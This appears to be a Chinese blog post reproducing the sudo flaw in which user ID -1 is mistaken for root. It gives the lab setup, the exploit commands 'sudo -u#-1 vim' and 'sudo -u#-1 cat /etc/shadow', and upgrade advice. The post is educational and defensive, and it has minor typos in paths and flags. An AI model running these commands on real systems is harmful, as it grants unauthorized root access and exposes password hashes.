- A+
所属分类:漏洞复现
一、漏洞描述
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,漏洞主要原因是sudo将用户 ID 转换为用户名的函数,会将 -1(或无效等效的 4294967295)误认为 0,而这正好是 root 用户的 ID 。
二、影响范围
|
1 |
sudo 1.8.28 之前的所有版本 |
三、漏洞复现
1、前提条件
普通用户的登录权限。
2、环境搭建
查看当前版本:sudo -V
|
1 |
sudo -v |

创建普通用户:
|
1 2 |
useradd dyan passwd dyan |


3.编辑sudoers文件
|
1 |
vim /etc/usdoers |

这里表示 dyan 可以 任意主机上 任何用户 但这个用户不能属于root组 执行vim命令
参数说明:
|
1 |
授权用户/组 主机=[(切换到哪些用户或组)][是否需要输入密码验证] 命令1,命令2 |
-
授权用户/组 不以%开头的,代表“将要授权的用户” 以%开头的表示“将要授权的组”
-
第一个ALL表示允许该用户在任意机器或者终端中使用sudo
-
括号里面的(ALL,!root)表示命令可以被除了root以外的任意用户身份去 执行
-
/use/bin/vim 表示可以运行的命令
4.切换用户


5.进入vim
|
1 2 |
sudo -u#-1 vim sudo -u#4294967295 vim |

6.读取密码
|
1 |
sudo -u#-1 cat /etc/shadow |

四、修复建议
请将 sudo 升级到 1.8.28 最新版本,该漏洞会影响 1.8.28 之前的所有版本。
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-

